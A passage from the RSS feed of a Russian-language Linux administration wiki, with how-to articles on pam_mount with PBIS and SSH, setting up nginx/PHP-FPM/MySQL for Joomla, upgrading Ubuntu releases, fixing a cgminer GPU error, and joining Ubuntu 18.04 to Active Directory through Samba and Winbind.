По-умолчанию, модуль &lt;strong&gt;pam_mount.so&lt;/strong&gt; имеет флаг &lt;strong&gt;optional&lt;/strong&gt; и располагается в файле &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt; после модуля &lt;strong&gt;pam_lsass.so&lt;/strong&gt;, который имеет флаг &lt;strong&gt;sufficient&lt;/strong&gt;. Таким образом модуль опциональный модуль &lt;strong&gt;pam_mount.so&lt;/strong&gt;  игнорируется, при корректном прохождении  достаточного для аутентификации модуля &lt;strong&gt;pam_lsass.so&lt;/strong&gt;. Чтобы монтирование работало корректно нужно поставить строчку &lt;strong&gt;session optional        pam_mount.so&lt;/strong&gt;  перед строкой с &lt;strong&gt;pam_lsass.so&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Дальше конфигурируем  &lt;strong&gt;pam_mount&lt;/strong&gt;. При входе пользователя обрабатываются два файла - глобальный &lt;strong&gt;/etc/security/pam_mount.conf.xml&lt;/strong&gt; и файл &lt;strong&gt;~/.pam_mount.conf.xml&lt;/strong&gt; с ресурсами, монтируемыми индивидуально каждому пользователю.&lt;br/&gt;

Этот файл довольно неплохо откомментирован, поэтому подробно описывать не имеет смысла и реально нужно редактировать единственную строку:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;lt;volume fstype=&amp;quot;cifs&amp;quot; server=&amp;quot;servername&amp;quot; path=&amp;quot;shared&amp;quot; mountpoint=&amp;quot;~/shared&amp;quot; options=&amp;quot;nodev,nosuid&amp;quot;/&amp;gt;&lt;/pre&gt;

&lt;p&gt;
Соотвественно отредактировать параметры &lt;strong&gt;server&lt;/strong&gt;, &lt;strong&gt;path&lt;/strong&gt; и &lt;strong&gt;mountpoint&lt;/strong&gt;.&lt;br/&gt;

При этом, &lt;strong&gt;path&lt;/strong&gt; не должне начинаться с “/”, а сразу указывать на папку, но при этом может указывать на вложенную папку. То есть если в Windows адрес файла: &lt;strong&gt;&lt;a href=&quot;file://///server/shared/directory1/file&quot; class=&quot;windows&quot; title=&quot;\\server\shared\directory1\file&quot;&gt;\\server\shared\directory1\file&lt;/a&gt;.txt&lt;/strong&gt;, то для того чтобы он был виден в смонтированной папке - &lt;strong&gt;path&lt;/strong&gt; должен быть &lt;strong&gt;path=“shared\directory1”&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432  - pam.mount&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435_\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_\u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432_-_pammount&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;6843-10194&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;pam_mount_и_сессия_ssh&quot;&gt;Pam_mount и сессия SSH&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для того, чтобы &lt;strong&gt;pam_mount&lt;/strong&gt; корректно работал в сессии SSH  нужно отредактировать конфигурацию сервера SSH - файл &lt;strong&gt;/etc/ssh/sshd_config&lt;/strong&gt;.&lt;br/&gt;

Параметру &lt;strong&gt;ChallengeResponseAuthentication&lt;/strong&gt; дать значение &lt;strong&gt;no&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Без этой правки, из-за особенностей работы OpenSSH при подключении по SSH ресурсы не монтируются с помощью &lt;strong&gt;pam_mount&lt;/strong&gt; с ошибкой:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;conv-&amp;gt;conv(...): Conversation error&lt;/pre&gt;

&lt;p&gt;
Некоторые подробности тут:&lt;br/&gt;

&lt;a href=&quot;http://community.centrify.com/t5/DirectControl-Express-for-UNIX/Try-to-auto-mount-cifs-home-dir-on-Ubuntu-using-Centrify-AD-Pam/td-p/8640&quot; class=&quot;urlextern&quot; title=&quot;http://community.centrify.com/t5/DirectControl-Express-for-UNIX/Try-to-auto-mount-cifs-home-dir-on-Ubuntu-using-Centrify-AD-Pam/td-p/8640&quot; rel=&quot;ugc nofollow&quot;&gt;http://community.centrify.com/t5/DirectControl-Express-for-UNIX/Try-to-auto-mount-cifs-home-dir-on-Ubuntu-using-Centrify-AD-Pam/td-p/8640&lt;/a&gt;&lt;br/&gt;

&lt;a href=&quot;https://bugzilla.mindrot.org/show_bug.cgi?id=926#c35&quot; class=&quot;urlextern&quot; title=&quot;https://bugzilla.mindrot.org/show_bug.cgi?id=926#c35&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugzilla.mindrot.org/show_bug.cgi?id=926#c35&lt;/a&gt;&lt;br/&gt;

&lt;a href=&quot;https://bugzilla.mindrot.org/show_bug.cgi?id=688&quot; class=&quot;urlextern&quot; title=&quot;https://bugzilla.mindrot.org/show_bug.cgi?id=688&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugzilla.mindrot.org/show_bug.cgi?id=688&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Также, это неприятное обстоятельство можно обойти выполнив в сессии SSH команду:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;su -l $USER&lt;/pre&gt;

&lt;p&gt;
То есть фактически залогинившись в сессии SSH еще раз с именем текущего пользователя. &lt;br/&gt;

В этому случае OpenSSH не принимает участия создании сессии и ресурсы монтируются. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Pam_mount \u0438 \u0441\u0435\u0441\u0441\u0438\u044f SSH&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;pam_mount_\u0438_\u0441\u0435\u0441\u0441\u0438\u044f_ssh&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;10195-11611&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;удаление_pbis_-_powerbroker_identity_services_open&quot;&gt;Удаление PBIS - PowerBroker Identity Services Open&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Отсоединяемся от домена:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/pbis/bin/domainjoin-cli leave&lt;/pre&gt;

&lt;p&gt;
Удаляем PBIS:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/pbis/bin/uninstall.sh uninstall&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 PBIS - PowerBroker Identity Services Open&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435_pbis_-_powerbroker_identity_services_open&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:8,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;11612-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 22 Jul 2019 10:17:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu-nginx-joomla-lemp</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu-nginx-joomla-lemp</link>
            <description>
&lt;p&gt;
Стандартный web-сервер в Ubuntu и Debian - это стек программ LAMP - Linux, Apache, MySQL и PHP. Один из недостатков этой платформы - высокие требования к ресурсам, а в частности - большое потребление оперативной памяти. &lt;br/&gt;

Решить эту проблему можно заменив Apache на быстрый и маленький nginx. В результате получится LEMP - Linux, nginx (Engine X), MySQL и PHP.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Приступим к установке:&lt;br/&gt;

Обновляем кеш пакетов:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update
sudo apt-get install dialog bsdutils&lt;/pre&gt;

&lt;p&gt;
Устанавливаем MySQL:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install mysql-server libapache2-mod-auth-mysql php5-mysql &lt;/pre&gt;

&lt;p&gt;
При установке MySQL попросит ввести пароль пользователя root (хотя его можно задать и позднее). После установки инициализируем MySQL:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mysql_install_db&lt;/pre&gt;

&lt;p&gt;
И затем завершим установку выполнив скрипт:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /usr/bin/mysql_secure_installation&lt;/pre&gt;

&lt;p&gt;
Скрипт запросит текущий пароль пользователя MySQL root.&lt;br/&gt;

Затем предложит его изменить и задаст несколько вопросов:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Remove anonymous users? [Y/n] y                                            
 ... Success!

Normally, root should only be allowed to connect from &amp;#039;localhost&amp;#039;.  This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] y
... Success!

By default, MySQL comes with a database named &amp;#039;test&amp;#039; that anyone can
access.  This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] y
 - Dropping test database...
 ... Success!
 - Removing privileges on test database...
 ... Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] y
 ... Success!

Cleaning up...&lt;/pre&gt;

&lt;p&gt;
Устанавливаем nginx:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install nginx&lt;/pre&gt;

&lt;p&gt;
И запускаем его:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service nginx start&lt;/pre&gt;

&lt;p&gt;
Устанавливаем PHP:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install php5-fpm&lt;/pre&gt;

&lt;p&gt;
Конфигурируем php. Для этого редактируем &lt;strong&gt;php.ini&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; sudo nano /etc/php5/fpm/php.ini&lt;/pre&gt;

&lt;p&gt;
Находим &lt;strong&gt;cgi.fix_pathinfo=1&lt;/strong&gt;, и меняем 1 на 0:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cgi.fix_pathinfo=0&lt;/pre&gt;

&lt;p&gt;
Это нужно для повышения безопасности.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Затем нужно отредактировать файл &lt;strong&gt;/etc/php5/fpm/pool.d/www.conf&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; sudo nano /etc/php5/fpm/pool.d/www.conf&lt;/pre&gt;

&lt;p&gt;
В нем находим строку &lt;strong&gt;listen = 127.0.0.1:9000&lt;/strong&gt;, и меняем &lt;strong&gt;127.0.0.1:9000&lt;/strong&gt; на &lt;strong&gt;/var/run/php5-fpm.sock&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;listen = /var/run/php5-fpm.sock&lt;/pre&gt;

&lt;p&gt;
Затем перезапускам php-fpm:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service php5-fpm restart&lt;/pre&gt;

&lt;p&gt;
Теперь надо сконфигурировать nginx. Открываем файл с сайтом-по-умолчанию:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /etc/nginx/sites-available/default&lt;/pre&gt;

&lt;p&gt;
Приводим его к такому виду:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;
server {
       listen 80;
       server_name www.example.com example.com;
       root /var/www/;

       if ($http_host != &amp;quot;www.example.com&amp;quot;) {
                 rewrite ^ http://www.example.com$request_uri permanent;
       }

       index index.php index.html index.htm default.html default.htm;

       location = /favicon.ico {
                log_not_found off;
                access_log off;
       }

       location = /robots.txt {
                allow all;
                log_not_found off;
                access_log off;
       }

       # deny running scripts inside writable directories
       location ~* /(images|cache|media|logs|tmp)/.*\.(php|pl|py|jsp|asp|sh|cgi)$ {
                return 403;
                error_page 403 /403_error.html;
       }

       # Deny all attempts to access hidden files such as .htaccess, .htpasswd, .DS_Store (Mac).
       location ~ /\. {
                deny all;
                access_log off;
                log_not_found off;
       }

        
 # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass unix:/var/run/php5-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;

        }

}&lt;/pre&gt;

&lt;p&gt;
Также можно добавить (но можно и не добавлять) директивы:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;       location / {
                try_files $uri $uri/ /index.php?q=$uri&amp;amp;$args;
       }

       # caching of files
       location ~* \.(ico|pdf|flv)$ {
                expires 1y;
       }

       location ~* \.(js|css|png|jpg|jpeg|gif|swf|xml|txt)$ {
                expires 14d;
       }&lt;/pre&gt;

&lt;p&gt;
Проверяем работоспособность. Кладем в папку сайта проверочный файл &lt;strong&gt;/var/www/info.php&lt;/strong&gt; такого содержания:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;lt;?php
phpinfo();
?&amp;gt;&lt;/pre&gt;

&lt;p&gt;
Перезапускаем nginx и смотрим что получилось. &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service nginx restart&lt;/pre&gt;

&lt;p&gt;
При заходе на &lt;strong&gt;&lt;a href=&quot;http://_IP_address/info.php&quot; class=&quot;urlextern&quot; title=&quot;http://_IP_address/info.php&quot; rel=&quot;ugc nofollow&quot;&gt;http://_IP_address/info.php&lt;/a&gt;&lt;/strong&gt; мы должны увидеть информацию о текущей версии PHP.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Все. Теперь можно устанавливать joomla и радоваться!
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu-release-upgrade</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu-release-upgrade</link>
            <description>
&lt;p&gt;
Чтобы обновить &lt;strong&gt;Ubuntu&lt;/strong&gt; на новый релиз нужно выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install update-manager-core
sudo do-release-upgrade&lt;/pre&gt;

&lt;p&gt;
Проверено при апгрейде с &lt;strong&gt;Ubuntu 12.04&lt;/strong&gt; до &lt;strong&gt;Ubuntu 14.04&lt;/strong&gt; и дальше до &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;
Если  система говорит что-то типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;=== Command terminated with exit status 1 (Tue Jan 17 05:05:27 2017) ===&lt;/pre&gt;

&lt;p&gt;
То просто нажимаем любую кнопку, а потом &lt;strong&gt;r&lt;/strong&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема:&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;cgminer -n
 [2013-04-18 14:16:18] CL Platform 0 vendor: Advanced Micro Devices, Inc.                    
 [2013-04-18 14:16:18] CL Platform 0 name: AMD Accelerated Parallel Processing                    
 [2013-04-18 14:16:18] CL Platform 0 version: OpenCL 1.2 AMD-APP (1016.4)                    
 [2013-04-18 14:16:18] Error -1: Getting Device IDs (num)                    
 [2013-04-18 14:16:18] clDevicesNum returned error, no GPUs usable                    
 [2013-04-18 14:16:18] 0 GPU devices max detected &lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;aticonfig --adapter=all --odgt
ERROR - X needs to be running to perform AMD Overdrive(TM) commands&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430:&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-671&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение:&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/lightdm stop&lt;/pre&gt;

&lt;p&gt;
или&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/kdm stop&lt;/pre&gt;

&lt;p&gt;
или&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/gdm stop&lt;/pre&gt;

&lt;p&gt;
И затем стартуем все обратно:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo xinit&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435:&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;672-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu1804_join_ad_using_winbind_samba</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu1804_join_ad_using_winbind_samba</link>
            <description>
&lt;p&gt;
Тут я описываю как присоединить &lt;strong&gt;Ubuntu 18.04 Server&lt;/strong&gt; к домену &lt;strong&gt;Active Directory&lt;/strong&gt; с помощью &lt;strong&gt;Kerberos&lt;/strong&gt; и &lt;strong&gt;Winbind&lt;/strong&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задаем_статический_адрес_-_network_static_ip&quot;&gt;Задаем статический адрес - Network Static IP&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Если хост свежий, то удаляем все файлики из папки &lt;strong&gt;/etc/netplan/&lt;/strong&gt; и создаем новый: &lt;strong&gt;/etc/netplan/50-network-init.yaml&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;network:
 version: 2
 ethernets:
   eth0:
     dhcp4: no
     dhcp6: no
     addresses: [192.168.1.13/24]
     gateway4: 192.168.1.254
     nameservers:
       search: [domainname.com]
       addresses: [192.168.1.1,192.168.1.2]&lt;/pre&gt;

&lt;p&gt;
Применяем конфиг:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ip address flush eth0
sudo ip address flush eth1
sudo netplan apply&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0435\u043c \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 - Network Static IP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0435\u043c_\u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439_\u0430\u0434\u0440\u0435\u0441_-_network_static_ip&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;168-779&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;устанавливаем_софт_-_software_needed_to_join_ad&quot;&gt;Устанавливаем софт - Software needed to join AD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Некоторые нужные пакеты (например - &lt;strong&gt;krb5-user&lt;/strong&gt;) отсуствуют в &lt;strong&gt;main&lt;/strong&gt;, но находятся в репозитории &lt;strong&gt;universe&lt;/strong&gt;. Поэтому, дописываем &lt;strong&gt;universe&lt;/strong&gt; в файлике &lt;strong&gt;/etc/apt/sources.list&lt;/strong&gt; или делаем так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-add-repository universe&lt;/pre&gt;

&lt;p&gt;
И потом устанавливаем софт:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -y purge cloud-init &amp;amp;&amp;amp; sudo rm -rf /etc/cloud
sudo apt-get -y install nano curl openssl libnss3-tools \
chrony krb5-config krb5-locales krb5-user libpam-krb5 \
samba smbclient winbind libpam-winbind libnss-winbind gss-ntlmssp \
ldap-utils cifs-utils libsasl2-modules-gssapi-mit&lt;/pre&gt;

&lt;p&gt;
Если при установке скрипт будет спрашивать &lt;strong&gt;Kerberos default REALM&lt;/strong&gt; - ничего не вводим и жмем &lt;strong&gt;enter&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0441\u043e\u0444\u0442 - Software needed to join AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c_\u0441\u043e\u0444\u0442_-_software_needed_to_join_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;780-1713&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;настраиваем_софт_-_setup_chrony_kerberos_samba_nsswitch_pam&quot;&gt;Настраиваем софт - Setup chrony, kerberos, samba, nsswitch, pam&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Этот скрипт конфигурирует &lt;strong&gt;Ubuntu 18.04&lt;/strong&gt; для присоединения к домену AD. В начале скрипта есть список переменных, который нужно заполнить в соответствии с  параметрами вашего окружения.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#! /bin/bash
NEW_HOSTNAME=somehostname
NEW_DOMAINNAME=domaniname.com
DNS_SERVERS=&amp;#039;192.168.1.1 192.168.1.2&amp;#039;
DOMAIN_CONTROLLERS=&amp;#039;dc1.domaniname.com dc2.domaniname.com&amp;#039;
DEFAULT_REALM=&amp;quot;${NEW_DOMAINNAME^^}&amp;quot;
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  &amp;#039;1,$ s/\..*//g&amp;#039;)

#########################################
### Setup NTP servers
#########################################
sed -i &amp;quot;/^pool.*\$/ s/^/#/&amp;quot; /etc/chrony/chrony.conf
sed -i &amp;quot;/^server.*\$/ s/^/#/&amp;quot; /etc/chrony/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo &amp;quot;server $dc iburst&amp;quot; | sudo tee -a /etc/chrony/chrony.conf
done

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat &amp;lt;&amp;lt;EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo &amp;quot;kdc = $i&amp;quot;;done)

REALMS=$(cat &amp;lt;&amp;lt;EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat &amp;lt;&amp;lt;EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo &amp;quot;$LIBDEFAULTS&amp;quot; &amp;gt; /etc/krb5.conf
echo &amp;quot;$REALMS&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf
echo &amp;quot;$DOMAIN_REALM&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat &amp;lt;&amp;lt;EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = yes
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
EOF
)

mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
echo &amp;quot;$SMB_CONF&amp;quot; &amp;gt; /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i &amp;#039;/^passwd:.*systemd$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^group:.*systemd$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^hosts:/ s/:.*$/: files dns/&amp;#039; /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
sed -i &amp;quot;/^Default:.*\$/ s/:.*$/: yes/&amp;quot; /usr/share/pam-configs/mkhomedir
sed -i &amp;#039;/^mkhomedir/D&amp;#039; /var/lib/pam/seen
pam-auth-update --package

###############################################
### Setup Services
###############################################
systemctl enable ssh
systemctl enable nmbd.service
systemctl enable smbd.service
systemctl enable winbind.service

###############################################
### Setting HOSTNAME, DOMAINNAME
###############################################
sed -i &amp;#039;/^127./D&amp;#039; /etc/hosts
echo &amp;quot;127.0.0.1 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME localhost&amp;quot; | sudo tee -a /etc/hosts
echo &amp;quot;127.0.0.2 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME&amp;quot; | sudo tee -a /etc/hosts
sed -i &amp;quot;/^.*preserve_hostname:.*$/ s/false/true/&amp;quot; /etc/cloud/cloud.cfg
hostname $NEW_HOSTNAME
domainname $NEW_DOMAINNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/HOSTNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/hostname
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c \u0441\u043e\u0444\u0442 - Setup chrony, kerberos, samba, nsswitch, pam&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c_\u0441\u043e\u0444\u0442_-_setup_chrony_kerberos_samba_nsswitch_pam&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1714-6331&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;собственно_присоединение_к_ad_-_join_ad&quot;&gt;Собственно присоединение к AD - Join AD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo net ads join -U domainadmin&lt;/pre&gt;

